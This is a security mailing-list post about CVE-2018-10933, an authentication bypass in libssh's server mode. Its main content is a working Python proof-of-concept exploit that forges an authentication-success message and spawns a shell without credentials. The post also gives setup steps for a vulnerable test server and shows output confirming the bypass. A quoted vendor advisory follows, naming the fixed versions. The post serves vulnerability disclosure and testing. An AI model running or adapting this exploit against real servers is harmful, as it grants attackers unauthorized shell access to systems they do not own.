[oss-security] CVE-2018-10933: libssh: authentication bypass in server code

Minh Tuan Luong

2018-10-17 09:13:24 UTC

I have coded a simple POC for this CVE:

--- CVE-2018-10933.py ----

import paramiko
import socket
import sys

nbytes = 4096
hostname = "127.0.0.1"
port = 2222

sock = socket.socket()
try:
    sock.connect((hostname, port))
    # instantiate transport
    m = paramiko.message.Message()
    transport = paramiko.transport.Transport(sock)
    transport.start_client()

    m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
    transport._send_message(m)

    cmd_channel = transport.open_session()
    cmd_channel.invoke_shell()

except socket.error:
    print '[-] Connecting to host failed. Please check the specified
host and port.'
    sys.exit(1)

-----

to test this code: get vulnerable version of libssh at homepage:
https://www.libssh.org/files/0.7/libssh-0.7.4.tar.xz
after uncompress and build, go to example directory, there's a simple
sshd server using libssh name: samplesshd-cb

run this simple sshd by command:
    $ samplesshd-cb 127.0.0.1 -p 2222
then run my code, output will be:
Allocated session channel
Allocated shell
mean that i can bypass authentication and spawn a shell without any
credential

Regard, Soledad

Post by Marcus Meissner
Hi,
https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
-----
libssh 0.8.4 and 0.7.6 security and bugfix release
This is an important security and maintenance release in order to address CVE-2018-10933.
libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect to initiate authentication, the attacker could successfully authentciate without any credentials.
The bug was discovered by Peter Winter-Smith of NCC Group.
-----
This only affects libssh operating in _server_ mode, but not the usual used client mode.
Ciao, Marcus